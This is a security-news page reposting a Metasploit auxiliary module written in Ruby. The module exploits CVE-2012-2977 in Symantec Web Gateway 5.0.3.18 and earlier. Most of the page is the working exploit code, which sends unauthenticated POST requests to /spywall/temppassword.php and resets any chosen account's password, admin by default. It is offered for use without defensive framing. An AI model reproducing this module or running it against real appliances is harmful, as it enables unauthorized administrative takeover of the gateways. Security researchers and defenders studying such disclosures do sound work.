首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change (MSF)
来源:http://www.metasploit.com 作者:Kc57 发布时间:2012-08-22  

##
# @_Kc57
# Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",
   'Description'    => %q{
     This module will change the password for the specified account on a Symantec Web Gatewaye server.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 0 $",
   'Author'         =>
    [
     'Kc57',
    ],
   'References'     =>
    [
     [ 'CVE', '2012-2977' ],
     [ 'OSVDB', '0' ],
     [ 'BID', '54430' ],
     [ 'URL', 'http://www.securityfocus.com/bid/54430' ],
    ],
   'DisclosureDate' => "Jul 23 2012" ))

   register_options(
    [
     Opt::RPORT(80),
     OptString.new('USER', [ true, 'The password to reset to', 'admin']),
     OptString.new('PASSWORD', [ true, 'The password to reset to', 'admin'])
    ], self.class)
 end

 def run

  print_status("Attempting to connect to https://#{rhost}/spywall/temppassword.php to reset password")
  res = send_request_raw(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
  }, 25)

  #check to see if we get HTTP OK
  if (res.code == 200)
   print_status("Okay, Got an HTTP 200 (okay) code. Checking if exploitable")
  else
   print_error("Did not get HTTP 200, URL was not found. Exiting!")
   return
  end

  #Check to if the temppassword.php page loads or if we are redirected to the login page
  if (res.body.match(/Please Select a New Password/i))
   print_status("Server is vulnerable!")
  else
   print_error("Target doesn't seem to be vulnerable!")
   return
  end

  print_status("Attempting to exploit password change vulnerability on #{rhost}")
  print_status("Attempting to reset #{datastore['USER']} password to #{datastore['PASSWORD']}")

  data  = 'target=executive_summary.php'
  data << '&USERNAME=' + datastore['USER']
  data << '&password=' + datastore['PASSWORD']
  data << '&password2=' + datastore['PASSWORD']
  data << '&Save=Save'

  res = send_request_cgi(
  {
   'method'  => 'POST',
   'uri'     => '/spywall/temppassword.php',
   'data'    => data,
  }, 25)

  if res.code == 200
   if (res.body.match(/Thank you/i))
    print_status("Password reset was successful!\n")
   else
    print_error("Password reset failed! User '#{datastore['USER']}' may not exist.\n")
   end
  else
   print_error("Password reset failed!")
  end
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Symantec Web Gateway <= 5.0.3.
·SAP Netweaver Dispatcher 7.0 E
·Sysax Multi Server 5.64 Create
·E-Mail Security Virtual Applia
·Apache Struts2 Remote Code Exe
·Sysax Multi-Server 5.64 Create
·Vice City Multiplayer Server 0
·VLC All versions - .m3u/.vlc D
·XODA 0.4.5 Arbitrary PHP File
·Divx 6.8.2 - Denial Of Service
·WireShark 1.8.2 & 1.6.0 Buffer
·Adobe Flash Player 11.3 Font P
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved